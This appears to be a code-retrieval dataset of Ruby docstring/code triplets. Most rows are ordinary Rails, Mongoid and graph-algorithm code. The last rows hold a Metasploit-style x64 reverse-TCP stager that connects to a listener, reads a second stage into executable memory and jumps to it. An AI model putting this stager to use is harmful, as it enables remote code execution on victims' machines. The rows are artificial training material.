search_part_number = params[:search_for].try(:upcase)
search_purchase_order = ""
#checking whether search by value is "po"(purchase order number)
else
search_part_number = ""
search_purchase_order = params[:search_for].try(:upcase)
end
@response_orders = invoke_webservice method: 'get', action: 'orderStatus',
query_string: { custNo: current_user,
srch: search_for,
srchPNs: "",
srchBy: search_by,
srchPoNo: search_purchase_order,
srchPN: search_part_number,
srchBdt: search_start_date,
srchEdt: search_end_date
}
#checking whether response from webservice is not null
if @response_orders
#checking whether errCode variable from response 2
if @response_orders["openOrders"]["errCode"] == "2"
flash.now[:notice] = @response_orders["openOrders"]["errMsg"]
end
#End of checking whether errCode variable from response 2
#if response from webservice is null
else
flash.now[:alert] = I18n.translate("service_unavailable",:scope => "rma.error")
end
#End of checking whether response from webservice is not null
render :index
end
#End of checking whether search by value is "all"
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def index\n search_params\n if @open_worksheets_filter\n @orders = OutputOrder.date_between(@date_from, @date_to).open_worksheets_filter #.paginate(:page => params[:page], :per_page => 5)\n else\n @orders = OutputOrder.date_between(@date_from, @date_to) #.paginate(:page => params[:page], :per_pa... | [
"0.733375",
"0.7059048",
"0.69652313",
"0.68845665",
"0.6754738",
"0.6503229",
"0.64347535",
"0.6335552",
"0.6318728",
"0.6280387",
"0.6271856",
"0.62600315",
"0.6257072",
"0.62403786",
"0.6221418",
"0.62101567",
"0.6209711",
"0.61773044",
"0.616953",
"0.6147013",
"0.61360735... | 0.6974608 | 2 |
This action is to show invoice detail page, Based on invoice number This page is only authorized to userlevel greater than 4 | def invoice_display
#checking whether user can access invoice_display action
unless can?("<","4")
invoice_number = params[:id]
@response_invoice_record_for_popup = invoke_webservice method: 'get', action: 'invoiceRecord', query_string: { invNo: invoice_number}
#checking whether response from webservice is not null
if @response_invoice_record_for_popup
#checking whether errCode variable from response other than "0"
if @response_invoice_record_for_popup.first["errCode"] != "0"
flash.now[:alert] = @response_invoice_record_for_popup.first["errMsg"]
end
po_lines = @response_invoice_record_for_popup.first["poLine"]
misc_lines = @response_invoice_record_for_popup.first["miscLines"]
invoice_date = Date.strptime(po_lines[1], "%m/%d/%y") rescue false
ship_date = Date.strptime(misc_lines[1], "%m/%d/%y") rescue false
klx_date = Date.new(2015,1,1)
if invoice_date && invoice_date < klx_date
@old_be_logo = 1
elsif ship_date && ship_date < klx_date
@old_be_logo = 1
end
#End of checking whether errCode variable from response other than "0"
#if response from webservice is null
else
flash.now[:alert] = I18n.translate("service_unavailable",:scope => "rma.error")
end
#End of checking whether response from webservice is not null
render :layout => "invoice"
#If user cannot access invoice_display action
else
redirect_to :back
end
#End of checking whether user can access this action
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def index\n if current_user&.admin?\n @invoices = Invoice.page(params[:page]).order('id DESC')\n elsif current_user\n @invoices = current_user.invoices.page(params[:page]).order('id DESC')\n else\n redirect_to login_path\n end\n end",
"def show\n @invoice = Invoice.find(params[:id]... | [
"0.6634272",
"0.6495333",
"0.64282084",
"0.64080024",
"0.6340645",
"0.62788206",
"0.62287515",
"0.6200443",
"0.61675274",
"0.6149228",
"0.60675704",
"0.6066658",
"0.60583246",
"0.6039806",
"0.6030354",
"0.60114896",
"0.60075796",
"0.60016",
"0.59979844",
"0.5994351",
"0.59772... | 0.6098865 | 10 |
This action is to validate form search values, If search by value is other than "all", then search by value should be entered otherwise it will throw validation error | def validate_values
@days_format = OpenOrder.get_select_values
@search_by_values = OpenOrder.get_search_values
#checking whether search for(textbox) value is empty string and search by(select box) value is other than "all"
if params[:search_for].blank? && params[:search_by] != "all"
flash.now[:alert] = I18n.translate("error",:scope => "open_orders.validate_values")
render :index
end
#End of checking whether search for(textbox) value is empty string and search by(select box) value is other than "all"
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.p... | [
"0.6716915",
"0.62549925",
"0.6177304",
"0.60226023",
"0.59595054",
"0.59260195",
"0.5923208",
"0.5897167",
"0.5855606",
"0.5850129",
"0.5849779",
"0.5839375",
"0.5827591",
"0.5824239",
"0.5813251",
"0.5801429",
"0.57521605",
"0.5749034",
"0.57432956",
"0.57284296",
"0.572842... | 0.8022869 | 0 |
When testing locally we use the database named mongoid_test. However when tests are running in parallel on Travis we need to use different database names for each process running since we do not have transactions and want a clean slate before each spec run. | def database_id
'mongoid_test'
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def database_id\n ENV[\"CI\"] ? \"mongoid_#{Process.pid}\" : \"mongoid_test\"\nend",
"def database_name\n ENV[\"CI\"] ? \"mongoid_max_denormalize_#{Process.pid}\" : \"mongoid_max_denormalize_test\"\nend",
"def database_id\n \"mongoid_test\"\nend",
"def database_id\n \"mongoid_test\"\nend",
"def databas... | [
"0.7883123",
"0.7707542",
"0.7190434",
"0.7190434",
"0.7190434",
"0.70838076",
"0.69021016",
"0.67206866",
"0.6623936",
"0.6623534",
"0.64632976",
"0.6441257",
"0.6375174",
"0.63337976",
"0.63121927",
"0.63056505",
"0.62636447",
"0.6229482",
"0.62252975",
"0.61218286",
"0.602... | 0.7281714 | 2 |
Can we connect to MongoHQ from this box? | def mongohq_connectable?
ENV['MONGOHQ_REPL_PASS'].present?
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def mongohq_connectable?\n ENV[\"MONGOHQ_REPL_PASS\"].present?\nend",
"def mongohq_connectable?\n ENV[\"MONGOHQ_REPL_PASS\"].present?\nend",
"def mongohq_connectable?\n ENV[\"MONGOHQ_REPL_PASS\"].present?\nend",
"def mongo_connection\n # Returns the connection if it is already established\n return $db_c... | [
"0.78681105",
"0.78681105",
"0.78681105",
"0.76034856",
"0.6966583",
"0.6660473",
"0.66331077",
"0.6595562",
"0.65252095",
"0.64954025",
"0.6484948",
"0.6442808",
"0.6427239",
"0.63977414",
"0.6351696",
"0.62788755",
"0.6160339",
"0.611069",
"0.6102465",
"0.60988456",
"0.6069... | 0.78874063 | 0 |
inside instance methods, always have access to instance variables | def list
display_recipes
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def instance_variables() end",
"def instance_variables; end",
"def class_variables() end",
"def private; end",
"def initialize\n @instance_variable = 3 # Available in instance methods\n end",
"def class_variables; end",
"def class_variables\n end",
"def instance_var\n @instance_var\n end",
... | [
"0.7773731",
"0.768905",
"0.6937872",
"0.6892719",
"0.68716943",
"0.681093",
"0.68035084",
"0.66786116",
"0.66786116",
"0.66786116",
"0.6659995",
"0.6635035",
"0.6635035",
"0.6635035",
"0.6444769",
"0.6444769",
"0.6404531",
"0.63249516",
"0.63249516",
"0.63249516",
"0.6324951... | 0.0 | -1 |
generic implementation to be used by utilities that are libraries like zlib, openssl | def split_file_list_by_shared_libs(list, platform_name)
# put binary files to bin list
bin_list, dev_list = list.partition { |e| e =~ /(bin\/.+)|(lib\/.*\.(so|so\..+|dylib))/ }
# add directories to bin list
dirs = []
bin_list.each do |f|
ds = File.dirname(f).split('/')
dirs += (1..ds.size).map { |e| ds.first(e).join('/') }
end
bin_list += dirs.sort.uniq
[bin_list.sort, dev_list.sort]
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def compression_method=(_arg0); end",
"def compression_client; end",
"def default_compression=(_arg0); end",
"def file_utils; end",
"def compression_method; end",
"def set_include # separate function for readability since there are many files\n # @include = %w{ aes asn1 bf bio bn ... | [
"0.6047522",
"0.57062864",
"0.5663284",
"0.5663037",
"0.5633404",
"0.5604026",
"0.5479988",
"0.5476377",
"0.54657817",
"0.545662",
"0.5452811",
"0.54478025",
"0.54463077",
"0.53954154",
"0.5354087",
"0.53101397",
"0.5306166",
"0.53043234",
"0.52007365",
"0.5198673",
"0.518246... | 0.0 | -1 |
Figure modal task In the original code we only created and updated figures via the popup (=modal) form. | def illustrate
@figure = Figure.new
@image = Image.new
@obj = ActiveRecord::const_get(params[:fig_obj_class]).find(params[:fig_obj_id]) # the Model to be figured
@figures = @obj.figures
render :layout => false
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def begin_figure\n # do nothing\n end",
"def set_figure\n @figure = Figure.find(params[:id])\n end",
"def set_figure\n @figure = Figure.find(params[:id])\n end",
"def set_result_figure\n @result_figure = ResultFigure.find(params[:id])\n end",
"def doit()\n if $active\n ... | [
"0.62180185",
"0.5915083",
"0.5915083",
"0.56202453",
"0.5421306",
"0.5407733",
"0.5402454",
"0.5402166",
"0.53751165",
"0.5348368",
"0.53059614",
"0.53047967",
"0.5233136",
"0.5221164",
"0.5207955",
"0.5177797",
"0.5166848",
"0.5144446",
"0.513547",
"0.51167643",
"0.5080611"... | 0.5336803 | 10 |
keep this method CRUDY, at present it not hit, since whe hit create from the figure action | def new
@figure = Figure.new
@image = Image.new
@obj = ActiveRecord::const_get(params[:figure_obj_class]).find(params[:figure_obj_id]) # the Model to be figured
@figures = @obj.figures
render :layout => false
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create\r\n\r\n\r\n end",
"def enter_created; end",
"def begin_figure\n # do nothing\n end",
"def create\n #\n # NO-OP\n #\n end",
"def create; end",
"def create; end",
"def create; end",
"def create; end",
"def create\n \t\n end",
"def create\n\t\tsuper\n\tend",
"de... | [
"0.652125",
"0.64794695",
"0.63037246",
"0.62590706",
"0.62576264",
"0.62576264",
"0.62576264",
"0.62576264",
"0.62253886",
"0.62217456",
"0.62203914",
"0.6214311",
"0.6163428",
"0.61364746",
"0.61364746",
"0.6120877",
"0.6120877",
"0.6120877",
"0.6120877",
"0.6120877",
"0.61... | 0.0 | -1 |
this is all ajax | def update_marker
#new Ajax.Request('/projects/32/figure/_update_markers/3424', {asynchronous:true, evalScripts:true, parameters:Form.serialize(this)}); return false;
@figure = Figure.find(params[:figure_id], :include => [:figure_markers, :image])
if @figure.update_attributes(params[:figure])
render :update do |page|
# page.call "foo"
# debugger
# remove all possible markers
# rjs_remove_markers(@figure)
# @figure.figure_markers.each do |fm|
# # this needs to hit all child classes
# page.call 'remove_element' "marker_{fm.id}"
# end
# @figure.figure_markers.each do |fm|
# fm.element_array do |e|
# page.call "add#{e.element_type}" e.element_attributes_for_js
# end
# end
# page.call 'createSvgRoot', 'body', 'myroot', 500, 500
# page.call 'addPath', 'fooid', 'mypath', 'M45.146,545.833c277.083-12.5,529.167-237.5,277.083-12.5', '#000000', 'red', 3
# page.call 'removeElement', 'mypath'
# str2 = '<svg xmlns="http://www.w3.org/2000/svg" id="myRect8" width="100" height="100"><rect x="5" y="5" id="myRect4" rx="3" ry="10" width="15" height="15" fill="purple" stroke="yellow" stroke-width="2"/></svg>'
# page.call 'createSvgObjRoot', 'body', 'myroot2', str2, 500, 500
# str3 = '<svg xmlns="http://www.w3.org/2000/svg" id="myRect8" width="100" height="100"><rect x="0" y="5" id="myRect4" rx="3" ry="10" width="15" height="15" fill="green" stroke="red" stroke-width="8"/></svg>'
page.call 'updateSvgObjRoot', 'myroot2', @figure.svg
# str = '<rect x="15" y="15" id="myRect2" rx="3" ry="10" width="150" height="150" fill="green" stroke="yellow" stroke-width="8"/>'
# page.call 'blorf', str
# str2 = '<svg xmlns="http://www.w3.org/2000/svg" id="myRect8" width="100" height="100"><rect x="5" y="5" id="myRect4" rx="3" ry="10" width="15" height="15" fill="purple" stroke="yellow" stroke-width="2"/></svg>'
# page.replace_html "figure_#{@figure.id}_img", :partial => 'figure/svg', :locals => {:fig => @figure}
# flash.discard
end and return
else
render :update do |page|
page.visual_effect :shake, "annotations"
flash.discard
end and return
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def xhr?; end",
"def xhr_script; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def ajax\n\n# Render json dat... | [
"0.65609",
"0.640184",
"0.6301198",
"0.6301198",
"0.6301198",
"0.6301198",
"0.6301198",
"0.6301198",
"0.6301198",
"0.6301198",
"0.6301198",
"0.6301198",
"0.6301198",
"0.6190565",
"0.61855215",
"0.6105412",
"0.60790896",
"0.60677576",
"0.6043322",
"0.60064876",
"0.60051227",
... | 0.0 | -1 |
, :except => [:new, :create] before_filter :require_no_user, :only => [:new, :create] before_filter :require_user, :only => [:show, :edit, :update] before_filter :require_user, :only => [:showuser, :flipadmin, :index] | def balances
@user = User.all.sort_by{|u| u.balance }
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def before_filter; end",
"def before_filter\n if current_user\n true\n end\n end",
"def user_params\n admin_access? && admin_user_filter || normal_user_filter\n end",
"def run_filters\n set_user\n authorize\n end",
"def require_user\n end",
"def restrictToAdmin! ; redirect to(... | [
"0.6870588",
"0.6742831",
"0.67378277",
"0.6718052",
"0.66788244",
"0.6664026",
"0.6621028",
"0.64945203",
"0.64603084",
"0.6443232",
"0.6418409",
"0.6390981",
"0.6388514",
"0.63836473",
"0.63819",
"0.6348209",
"0.63459367",
"0.63414806",
"0.6331282",
"0.63278615",
"0.6323266... | 0.0 | -1 |
Runs the hyperball algorithm until convergence | def calculate_hyperballs
while hyperball_once
@ball_size += 1
end
print_centralities
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def converge(state) ; end",
"def run\n while 1\n if step == 1 then break end\n end\n end",
"def converge_complete\n end",
"def converge\n transition_to(:converge)\n end",
"def converge\n transition_to(:converge)\n end",
"def hyperball_once\n create_work... | [
"0.6446028",
"0.6071205",
"0.5982715",
"0.59178275",
"0.59178275",
"0.59039295",
"0.5834635",
"0.57272",
"0.5709722",
"0.56907743",
"0.5664798",
"0.56437",
"0.56295127",
"0.5620783",
"0.56132007",
"0.554297",
"0.5534338",
"0.5532233",
"0.553029",
"0.5512674",
"0.5511759",
"... | 0.71698993 | 0 |
Runs one pass of hyperball | def hyperball_once
create_workers.each(&:join)
if @counters.any_changes?
@counters.apply_changes(@ball_size)
true
else
false
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def calculate_hyperballs\n while hyperball_once\n @ball_size += 1\n end\n\n print_centralities\n end",
"def runner\nwelcome\nn = initial_round\nhit?(n)\nend",
"def train\n @badasspoints += 1\n end",
"def gameflow\n \n end",
"def phase_one\n 8.times do\n @borneo.immunity_cha... | [
"0.6713901",
"0.62606597",
"0.59748745",
"0.5950678",
"0.5840696",
"0.5777657",
"0.5705093",
"0.5684493",
"0.5684493",
"0.5653818",
"0.5639638",
"0.56250966",
"0.5623334",
"0.56145597",
"0.560792",
"0.56036717",
"0.55608726",
"0.555459",
"0.5508907",
"0.54987955",
"0.54954475... | 0.5407887 | 33 |
Runs hyperball algorithm on an edge pair | def hyperball_on_edge(edge)
update_node = @counters.get_counter(edge[1])
neighbor_node = @counters.get_counter(edge[0])
update_node.merge(neighbor_node)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def calculate_hyperballs\n while hyperball_once\n @ball_size += 1\n end\n\n print_centralities\n end",
"def worker_method(job_queue)\n begin\n while edge_index = job_queue.pop(true)\n hyperball_on_edge(@edges[edge_index])\n end\n rescue ThreadError\n end\n end",
"def b... | [
"0.6025808",
"0.58904845",
"0.57492775",
"0.5662993",
"0.55550915",
"0.55550915",
"0.526045",
"0.52332056",
"0.51626796",
"0.5137769",
"0.51327586",
"0.5118309",
"0.5114383",
"0.51041114",
"0.5087",
"0.5074624",
"0.5065276",
"0.5060609",
"0.50553375",
"0.5047994",
"0.50394034... | 0.6632741 | 0 |
Creates a queue with one entry per edge pair | def create_work_queue
queue = Queue.new
@edges.size.times do |index|
queue << index
end
queue
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def build_queue(table, strings)\n queue = create_sorted_ary\n table.each_with_index do |row, row_index|\n row_queue = create_sorted_ary\n row.each_with_index do |col, col_index|\n next if row_index == col_index\n next if col == 0\n path = [row_index, col_index]\n ... | [
"0.6055438",
"0.5823114",
"0.5795941",
"0.5725906",
"0.5713618",
"0.56557524",
"0.5599314",
"0.55991113",
"0.55877703",
"0.55859786",
"0.55815303",
"0.557035",
"0.5561229",
"0.5505198",
"0.5505198",
"0.54919",
"0.54541826",
"0.54541826",
"0.5448219",
"0.54321784",
"0.54190636... | 0.7245025 | 0 |
Returns workers prepped with work queues | def create_workers
job_queue = create_work_queue
POOL_SIZE.times.map do
Thread.new { worker_method(job_queue) }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def workers\n @queues.keys\n end",
"def running_workers\n pool_manager.workers.fetch(queues, {})\n end",
"def workers\r\n @workers ||= []\r\n end",
"def workers\n @@workers ||= []\n end",
"def workers\n if known?\n @workers\n else\n know heroku_get_wo... | [
"0.8269537",
"0.80370736",
"0.7770632",
"0.7419536",
"0.732132",
"0.71537334",
"0.7092798",
"0.7057215",
"0.7008081",
"0.691231",
"0.68787307",
"0.6827565",
"0.67756844",
"0.67602223",
"0.67151624",
"0.6690581",
"0.66256565",
"0.6611702",
"0.660279",
"0.6588444",
"0.65350395"... | 0.6585634 | 20 |
Method for hyperball worker | def worker_method(job_queue)
begin
while edge_index = job_queue.pop(true)
hyperball_on_edge(@edges[edge_index])
end
rescue ThreadError
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def do_work\n end",
"def run() end",
"def executor; end",
"def executor; end",
"def executor; end",
"def worker_pool; end",
"def worker_pool; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"d... | [
"0.6759199",
"0.6751826",
"0.6719907",
"0.6719907",
"0.6719907",
"0.6700721",
"0.6700721",
"0.66874045",
"0.66874045",
"0.66874045",
"0.66874045",
"0.66874045",
"0.66874045",
"0.66874045",
"0.66874045",
"0.66874045",
"0.6567822",
"0.6566816",
"0.6541517",
"0.65185624",
"0.651... | 0.6559261 | 18 |
Prints the found centralities with their frequency | def print_centralities
values = @counters.all_counters
.map(&:centrality)
.map(&:to_i)
.inject(Hash.new(0)) { |hash, value| hash[value] += 1 ; hash }
values.each do |value|
puts value.join(',')
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def print_concordance\n puts \"\\n\\nPrinting concordance...\\n\\n\"\n sorted_keys = @result.keys.sort\n sorted_keys.each do |key|\n puts \"#{key.ljust(20)} {#{@result[key][:count]}:#{@result[key][:line_nums].join(',')}}\"\n end\n end",
"def frequencies\n analyzer = Frequency.call(\n ... | [
"0.6253226",
"0.5934798",
"0.5851915",
"0.5749067",
"0.57375115",
"0.5714078",
"0.5699437",
"0.56722134",
"0.56077033",
"0.56054515",
"0.5601922",
"0.55328894",
"0.5514474",
"0.5511697",
"0.55034333",
"0.5497258",
"0.5484998",
"0.548236",
"0.5442174",
"0.54386264",
"0.5437507... | 0.75066566 | 0 |
The class this resource wraps. If you register the Post model, Resourceresource_class will point to the Post class | def resource_class
ActiveSupport::Dependencies.constantize(resource_class_name)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def resource_class\n class_name\n end",
"def resource_class\n @resource_class ||= resource_name.classify.constantize\n end",
"def resource_class\n @resource_class ||= resource_name.classify.constantize\n end",
"def resource_class\n @resource_class ||= resource_name.... | [
"0.7914082",
"0.7863999",
"0.7863999",
"0.7863999",
"0.783789",
"0.781315",
"0.78066623",
"0.7783428",
"0.77366877",
"0.77280277",
"0.77280277",
"0.7715775",
"0.77010685",
"0.77010685",
"0.77010685",
"0.7678745",
"0.76775277",
"0.7673298",
"0.7668251",
"0.7636714",
"0.7467055... | 0.75322986 | 20 |
Clears all the member actions this resource knows about | def clear_member_actions!
@member_actions = []
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def clear_all_actions; end",
"def clear_action_methods! # :doc:\n @action_methods = nil\n end",
"def clear_action_methods!\n @action_methods = nil\n end",
"def clear_action_methods!; end",
"def clear_action_methods!; end",
"def clear!\n if action?\n self.resource_i... | [
"0.78184247",
"0.7497113",
"0.7472352",
"0.70953083",
"0.70953083",
"0.67539686",
"0.6717252",
"0.6645471",
"0.65218055",
"0.6378501",
"0.63282835",
"0.62352324",
"0.62222",
"0.62011814",
"0.61428684",
"0.6120491",
"0.6120491",
"0.61159134",
"0.610538",
"0.60862464",
"0.60797... | 0.88906544 | 0 |
Return only defined resource actions | def defined_actions
controller.instance_methods.map(&:to_sym) & ResourceController::ACTIVE_ADMIN_ACTIONS
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def resource_actions\n return @resource_actions\n end",
"def resource_actions\n return @resource_actions\n end",
"def resource_actions\n @resource_actions ||= []\n end",
"def resources_actions\n @resources_actions ||= []\n end",
"def allowed_resou... | [
"0.7984821",
"0.7984821",
"0.7898506",
"0.7788626",
"0.7754874",
"0.7558391",
"0.74428374",
"0.73102665",
"0.72528994",
"0.72457284",
"0.7124641",
"0.7088514",
"0.70882744",
"0.7081123",
"0.70800835",
"0.70341027",
"0.7023497",
"0.7014857",
"0.699631",
"0.68828315",
"0.686983... | 0.7398332 | 7 |
Do we belong to another resource? | def belongs_to?
!!belongs_to_config
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def owns?(resource)\n resource.account_id == id\n end",
"def is_resource_owner?(resource)\n current_user && current_user.id == resource.user_id\n end",
"def resource?\n !reference?\n end",
"def owner?(resource:)\n current_user.present? && resource&.user_id == current_user.id\n ... | [
"0.75183874",
"0.74550915",
"0.7356912",
"0.7330275",
"0.7309349",
"0.7203925",
"0.7159319",
"0.71510184",
"0.7150117",
"0.7142198",
"0.70952916",
"0.70740885",
"0.70112616",
"0.68381",
"0.68287593",
"0.68227607",
"0.6805341",
"0.6799849",
"0.6784543",
"0.6756078",
"0.6732628... | 0.0 | -1 |
The csv builder for this resource | def csv_builder
@csv_builder || default_csv_builder
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def generate_csv\n\n fields = @resource.typus_fields_for(:csv)\n\n require 'csv'\n if CSV.const_defined?(:Reader)\n # Old CSV version so we enable faster CSV.\n begin\n require 'fastercsv'\n rescue Exception => error\n raise error.message\n end\n ... | [
"0.7174927",
"0.7154265",
"0.6952136",
"0.6895287",
"0.6763898",
"0.66710865",
"0.6653872",
"0.6653872",
"0.65962493",
"0.6563289",
"0.6419653",
"0.64089084",
"0.6380148",
"0.63780105",
"0.6371017",
"0.6264897",
"0.62608975",
"0.6223355",
"0.6221725",
"0.6209041",
"0.61859244... | 0.80507517 | 0 |
Generate the first stage | def generate
conf = {
port: datastore['LPORT'],
host: datastore['LHOST'],
retry_count: datastore['StagerRetryCount'],
sleep_seconds: datastore['StagerRetryWait'],
}
# Generate the advanced stager if we have space
if self.available_space && required_space <= self.available_space
conf[:exitfunk] = datastore['EXITFUNC']
end
generate_reverse_tcp(conf)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def generate_stage(opts={})\n ''\n end",
"def initial_generate\n \n end",
"def first_step\n log(:start, :s1)\n do_step1\n log(:end, :s1)\n end",
"def stage; end",
"def stage; end",
"def generate\n end",
"def generate; end",
"def generate; end",
"def start\n ... | [
"0.7046642",
"0.7036086",
"0.68282616",
"0.66026753",
"0.66026753",
"0.61957896",
"0.6153152",
"0.6153152",
"0.6133096",
"0.6121709",
"0.6114409",
"0.61087304",
"0.6059494",
"0.6041644",
"0.6014874",
"0.60109884",
"0.5994803",
"0.5985476",
"0.5957531",
"0.59503925",
"0.584606... | 0.0 | -1 |
By default, we don't want to send the UUID, but we'll send for certain payloads if requested. | def include_send_uuid
false
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def payload\n @payload ||= (super || self.class.payload(@uuid))\n end",
"def push_uuid(data)\n data[\"id\"].blank? &&\n data[\"uuid\"].present? ?\n data.merge(\"id\" => data[\"uuid\"]) :\n data\n end",
"def append_info_to_payload(payload)\n super\n payload[:reques... | [
"0.6495223",
"0.6066217",
"0.6051955",
"0.5968255",
"0.59152883",
"0.5890205",
"0.5855571",
"0.58262324",
"0.58262324",
"0.58160627",
"0.57920396",
"0.57920396",
"0.5772831",
"0.5769125",
"0.5744",
"0.57077664",
"0.5706697",
"0.56963",
"0.5690892",
"0.5668466",
"0.56551635",
... | 0.7751889 | 4 |
Generate and compile the stager | def generate_reverse_tcp(opts={})
asm = asm_reverse_tcp(opts)
buf = Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string
apply_prepends(buf)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def gen\n with_output_to @fn do\n pp \"require 'spqr/spqr'\"\n pp \"require 'spqr/app'\"\n\n pp \"\"\n\n @scs.each do |sc|\n pp(\"require '#{sc.package.gsub(/[.]/, '/')}/#{sc.name}'\")\n end\n\n \n pp \"\"\n \n pp \"app = SPQR::App.new(:l... | [
"0.6798225",
"0.67580974",
"0.6708859",
"0.6355106",
"0.6318873",
"0.6305944",
"0.6261464",
"0.6177668",
"0.6158536",
"0.6122573",
"0.61209595",
"0.60528505",
"0.5976651",
"0.5952609",
"0.5938652",
"0.58553296",
"0.5839186",
"0.58360153",
"0.5819729",
"0.58157265",
"0.5798192... | 0.0 | -1 |
Determine the maximum amount of space required for the features requested | def required_space
# Start with our cached default generated size
space = 300
# Reliability adds 10 bytes for recv error checks
space += 10
# The final estimated size
space
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def max_allocated_storage\n data[:max_allocated_storage]\n end",
"def max_size; end",
"def specific_max_size(number); end",
"def input_capacity\n typical_input_capacity\n end",
"def required_space\n # Start with our cached default generated size\n space = cached_size\n\n # EXIT... | [
"0.67195064",
"0.6692289",
"0.6687838",
"0.66299146",
"0.65569526",
"0.64915013",
"0.6463135",
"0.6462138",
"0.64459723",
"0.64395773",
"0.6381479",
"0.63676566",
"0.6309424",
"0.6293934",
"0.6275216",
"0.62700665",
"0.62700665",
"0.62384325",
"0.6235122",
"0.6223833",
"0.621... | 0.6483974 | 7 |
Generate an assembly stub with the configured feature set and options. | def asm_reverse_tcp(opts={})
# TODO: reliability is coming
retry_count = opts[:retry_count]
reliable = opts[:reliable]
encoded_port = "%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
encoded_host = "%.8x" % Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first
seconds = (opts[:sleep_seconds] || 5.0)
sleep_seconds = seconds.to_i
sleep_nanoseconds = (seconds % 1 * 1000000000).to_i
if respond_to?(:generate_intermediate_stage)
pay_mod = framework.payloads.create(self.refname)
read_length = pay_mod.generate_intermediate_stage(pay_mod.generate_stage(datastore.to_h)).size
elsif !module_info['Stage']['Payload'].empty?
read_length = module_info['Stage']['Payload'].size
else
read_length = 4096
end
asm = %Q^
mmap:
xor rdi, rdi
push 0x9
pop rax
cdq
mov dh, 0x10
mov rsi, rdx
xor r9, r9
push 0x22
pop r10
mov dl, 0x7
syscall ; mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC|0x1000, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0)
test rax, rax
js failed
push #{retry_count} ; retry counter
pop r9
push rax
push 0x29
pop rax
cdq
push 0x2
pop rdi
push 0x1
pop rsi
syscall ; socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
test rax, rax
js failed
xchg rdi, rax
connect:
mov rcx, 0x#{encoded_host}#{encoded_port}
push rcx
mov rsi, rsp
push 0x10
pop rdx
push 0x2a
pop rax
syscall ; connect(3, {sa_family=AF_INET, LPORT, LHOST, 16)
pop rcx
test rax, rax
jns recv
handle_failure:
dec r9
jz failed
push rdi
push 0x23
pop rax
push 0x#{sleep_nanoseconds.to_s(16)}
push 0x#{sleep_seconds.to_s(16)}
mov rdi, rsp
xor rsi, rsi
syscall ; sys_nanosleep
pop rcx
pop rcx
pop rdi
test rax, rax
jns connect
failed:
push 0x3c
pop rax
push 0x1
pop rdi
syscall ; exit(1)
recv:
pop rsi
push 0x#{read_length.to_s(16)}
pop rdx
syscall ; read(3, "", #{read_length})
test rax, rax
js failed
jmp rsi ; to stage
^
asm
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def stub\n Ablerc::StubGenerator.new({:options => options}.merge(stub_options))\n end",
